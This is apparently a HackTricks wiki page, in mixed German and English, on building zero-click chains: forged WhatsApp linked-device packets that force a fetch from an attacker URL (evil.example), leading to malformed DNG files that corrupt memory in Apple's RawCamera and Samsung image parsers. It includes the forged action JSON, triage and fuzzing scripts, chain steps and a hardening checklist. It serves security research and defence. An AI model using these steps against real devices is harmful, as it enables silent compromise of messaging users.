Zero-click Messaging → Image Parser Chains
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
TL;DR
- Betrachte messaging app multi-device/companion protocols als Fernsteuerkanäle: Wenn Protokollfelder davon ausgehen, dass sie von vertrauenswürdigen Geräten stammen, können sie trotzdem vom Benutzer kontrolliert werden und lassen sich oft direkt gegen ein Opfer replayen, um beliebige Inhalte mit 0 Benutzerinteraktion zu laden.
- Sobald jede App dazu gezwungen werden kann, nicht vertrauenswürdige Mediendateien abzurufen, ziele auf die shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) mit malformed files, um aus dem Sandbox-Kontext auszubrechen.
- Die DNG-based RawCamera und Samsung parser bugs, die hier besprochen werden, sind konkrete Beispiele, aber die gesamte Technik ist ein wiederverwendbares Blueprint zum Verketten von logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
Die WhatsApp “linked devices”-Architektur hält das primäre Telefon und jedes Companion (desktop, tablet, secondary phone) via verschlüsselter, strukturierter Protokollnachrichten synchron. Jede Nachricht kodiert:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (z. B. sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters wie URIs, MIME hints, pagination keys usw.
Auf Apple-Clients vertraute der Handler, der diese linked-device control packets verarbeitet, implizit darauf, dass ein gültiges Pairing bereits stattgefunden hat, sodass hochrelevante Felder (z. B. resource_url, open_media, sync_snapshot) nur minimal validiert wurden. Eine bösartige Companion-Nachricht konnte daher:
- An jedes Konto weitergeleitet werden, das durch seine Telefonnummer identifiziert wird.
- Den Transport-Stack (Noise protocol + WhatsApp protobuf framing) überleben, weil der Empfänger nie überprüfte, dass der Sender ein legitim gepaartes Gerät war.
- Den iOS-Client erreichen, wo der verwundbare Code-Pfad automatisch eine Hintergrund-HTTP(S)-Anfrage an die Angreifer-URL auslöste und die Antwort in einer versteckten WebView/media renderer parste.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Hänge einen Debugger oder ein Frida-Skript an den Desktop-/iOS-Client und hooke den post-decryption handler (z. B.
LinkedDevicesSyncHandler::processAction). Dump decodierte protobuf payloads, um die verfügbaren action types und parameter kennenzulernen. - Identify fields that cross trust boundaries. Jede Action, die
http_url,thumbnail_uri,download_urloderrender_htmlParameter ohne strikte allow-lists enthält, ist eine Kandidatin für ein remote-content-Primitive. - Forge a malicious action. Reuse das beobachtete protobuf-Schema und ändere nur die vom Angreifer kontrollierten Felder. Eine vereinfachte JSON-Ansicht der relevanten logischen Struktur ist unten gezeigt (der tatsächliche Transport ist protobuf/Noise, aber die semantischen Felder stimmen überein):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- An das Opfer zustellen. Spiele das konstruierte Paket über denselben WhatsApp-Dienst ab, der normalerweise linked-device Traffic weiterleitet (z. B. mit einem modifizierten Desktop-Client oder einem custom Noise-Client, der deine Angreifer-Account-Keys wiederverwendet). Da CVE-2025-55177 Aktionen nicht an authentifizierte Geräte gebunden hat, würde der iOS/macOS-Client des Opfers die Nachricht akzeptieren und ohne UI sofort die Angreifer-URL abrufen.
- Den Fetch instrumentieren. Beobachte die erzwungene HTTP(S)-Anfrage und den internen Renderer (WKWebView/ImageIO). An diesem Punkt besitzt du eine zero-click web delivery primitive innerhalb von WhatsApp.
Ausnutzen automatisch dekodierter DNGs gegen RawCamera
Sobald der Angreifer kontrolliert, was WhatsApp lädt, ist das nächste Ziel, iOS/macOS dazu zu bringen, eine bösartige Digital Negative (DNG)-Datei mit dem RawCamera-Framework zu parsen. Jede eingebettete <img>/CSS-URL, die auf eine .dng auflöst, wird an die systemweite Image-Pipeline weitergereicht und ruft RawCamera auf, selbst wenn WhatsApp DNGs nicht explizit behandelt hat.
RawCamera von WhatsApp aus auslösen
- Serve HTML, das die DNG über mehrere Mechanismen referenziert (z. B.
<img src="evil.dng">, CSSbackground-image: url('evil.dng')oder<picture>-Quellen), um verschiedene Render-Pfade abzudecken. - Stelle den korrekten MIME (
image/x-adobe-dng) und kleine Previews sicher, damit der Loader nicht aufgrund von Größenheuristiken vorzeitig abbricht. - Die iOS media sandbox streamt die Datei via
CGImageSourceCreateWithURLin RawCamera, wodurch letztlich der verwundbare Decoder erreicht wird.
Erstellung speicher-korrumpierender DNGs (CVE-2025-43300-Stil)
Der 2025 in-the-wild beobachtete Bug war spezifischer als ein generisch fehlerhaftes TIFF: die DNG enthielt JPEG-Lossless-Bilddaten, deren interner SOF3-Component-Count nicht mit den TIFF/DNG-Metadaten (SamplesPerPixel) übereinstimmte. In der Praxis konnte RawCamera einige Puffer aus den äußeren TIFF-Feldern dimensionieren und später dem eingebetteten JPEG-Lossless-Stream beim Decodieren vertrauen, was zum out-of-bounds write führte, der in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025 behoben wurde.
Das liefert Auditoren eine wesentlich präzisere Triage-Regel als “mutate random tags”:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
Wenn SamplesPerPixel und die Komponentenanzahl in SOF3 divergieren, bist du sehr nah an der öffentlich beschriebenen Exploit-Primitive für CVE-2025-43300. Typische angrenzende Hebel, die sich lohnen zu fuzzing, sobald du den Parsing-Pfad hast, sind:
- Tile/strip descriptors: Setze
TileByteCounts/StripByteCountsauf realistische Werte, erhöhe aberTileOffsets, sodass sie über den zugewiesenen Puffer hinaus zeigen. - Sub-IFD chains: Betten sekundäre Images mit widersprüchlichen
ImageWidth/ImageLengthundBitsPerSampleein, sodass RawCamera einen kleinen Puffer berechnet, während spätere Stufen sich auf angreiferkontrollierte Dimensionen verlassen. - Opcode metadata: Manipuliere
OpcodeList3-Einträge, sodass die zeilenbezogene Verarbeitung auf vom Angreifer gewählte Indizes zugreift.
Ein einfaches Mutations-Harness zum Aufspüren solcher Korruptionen lässt sich unter macOS aufbauen, da derselbe RawCamera-Code auf macOS/iOS/iPadOS ausgeliefert wird:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Jeder Absturz in RawCamera liefert Ihnen eine neue Primitive. Der veröffentlichte PoC erzielte ein sauberes out-of-bounds read/write, das zuverlässig genug war, um WhatsApp auf iPhone, iPad und Mac abstürzen zu lassen.
Aufbau der 0-click-Kette
- Linked-device packet → zwingt WhatsApp dazu,
https://evil.example/payload.htmlohne irgendwelche Taps abzurufen. - Payload HTML → referenziert still
evil.dng, wodurch garantiert wird, dassRawCameravom OS-Medienstack aufgerufen wird. - Malicious DNG → missbraucht manipulierte Tags, um den RawCamera OOB auszulösen und den image decoder zu crash/ownen.
- Post-corruption exploitation → fügt info-leak-Gadgets hinzu (z. B. Ausnutzung vorhersehbarer Heap-Metadaten) und staged eine ROP/JOP-Kette, um aus der WhatsApp-Sandbox auszubrechen und in privilegiertere Kontexte zu gelangen.
Da jeder Schritt automatisch abläuft, benötigt der Angreifer nur die Telefonnummer des Opfers. Auf dem Zielgerät werden keine Notifications, Banner oder Prompts angezeigt.
Kürzlich beobachtete Apple parser-chain-Muster, die sich wiederverwenden lassen
Diese WhatsApp → DNG → RawCamera-Kette entspricht demselben Designmuster, das in jüngsten Apple zero-click-Kampagnen zu sehen war: Finde einen alternate attachment wrapper, der einen weniger eingeschränkten Parser erreicht, und weaponize dann ein Dateiformat, das das OS gerne in der Vorschau anzeigt.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab berichtete über bösartige PassKit-Anhänge, die Bilder enthielten, und Apple patchte
Wallet(CVE-2023-41061) sowieImageIO(CVE-2023-41064). Die spätere Analyse von Project Zero zeigte, warum das operativ wichtig ist: Der Angreifer brauchte nicht nur einen Parser-Bug, sondern auch einen Container, der die Bildverarbeitung außerhalb des normalen BlastDoor-Pfads in einen anderen Prozess verlagerte. Beim Audit von Messaging-Apps sollte man daher alle Anhangstypen aufzählen, die Hintergrundvorschauen in Helfer-Daemons auslösen (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), nicht nur offensichtliche Bildanhänge. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky zeigte, dass ein bösartiger iMessage-Anhang die undokumentierte, nur bei Apple vorhandene
ADJUSTTrueType-Instruktion traf (CVE-2023-41990). Die praktische Lehre ist, dass fonts are image-parser cousins für zero-click-Arbeit sind: Rich-Text-Vorschauen, Font-Fallback und Thumbnail-Generierung können alle zu Parser-Einstiegspunkten werden, selbst wenn die App behauptet, nur “documents” oder “stickers” zu unterstützen.
Die wiederkehrende Prüfungsfrage lautet daher: welche Nachrichtentypen verursachen stilles Parsen in einem Prozess, der nicht der offensichtliche Chat-Renderer ist? Dort beginnt die Kette üblicherweise. Für Sample-Triage und Cross-Field-Konsistenzprüfungen, sobald Sie eine verdächtige Datei haben, reuse this generic structural file-format detection page.
Parallelen im Samsung-Vendor-Image-Parser
Samsungs Bulletin für CVE-2025-21043 bestätigte, dass ihr proprietärer Image-Parsing-Stack (verwendet von Gallery, Messages und auch indirekt von WhatsApp) an einem out-of-bounds write litt, der über untrusted media erreichbar war. Die Exploit-Methodik spiegelt die Apple-Kette wider:
- Identifiziere einen Auto-Preview-Vektor (chat thumbnails, notification previews, share sheets), der die Angreiferdatei mit Samsungs
libimagecodec/libOneUI_ImageDecoder-Bibliotheken parst. - Diff OEM-Bibliotheks-Updates oder fuzz Parser mit malformed RAW/DNG-Dateien, bis du Speicherkorruptionen siehst, die dem RawCamera-Absturz ähneln (heap metadata clobber, register control, etc.).
- Liefere die präparierte Datei über jeden Kanal, der Inhalte bereits automatisch lädt (z. B. denselben linked-device-Primitive, WhatsApp preview fetchers oder Android’s push-to-talk waveform previews).
Sobald ein OOB write im Vendor-Parser existiert, ergibt die Kombination mit dem WhatsApp auto-fetch-Primitive eine weitere zero-click-Kette auf Samsung-Geräten.
Test- & Härtungs-Checkliste
- Protocol validation: Erzwinge strikte allow-lists für jede linked-device-Aktion. Begleitbefehle, die einen fetch/render anfordern, müssen das Device-Pairing nachweisen (signing the payload) und die URL sollte einer allow-list oder einem signed blob entsprechen.
- Transport replay countermeasures: Binde jede Aktion an einen pro-Gerät-Schlüssel und lehne Pakete ab, deren Sender-Schlüssel unbekannt ist, selbst wenn die protobuf-Syntax korrekt ist.
- Media pipeline restrictions: High-level-Apps sollten nur genehmigte MIME-Typen erlauben und RAW/DNG ausdrücklich ablehnen, sofern die Funktion nicht erforderlich ist.
- Parser fuzzing regression tests: Pflege ein Korpus malformed RAW/DNG-Dateien und führe sie nach jedem Update gegen
RawCamera/Vendor-Decoder aus. - Crash triage automation: Hänge
DYLD_INSERT_LIBRARIES-Sanitizer oder MTE an Fuzz-Geräte, um subtile OOB-Zustände zu finden, bevor Angreifer das tun.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


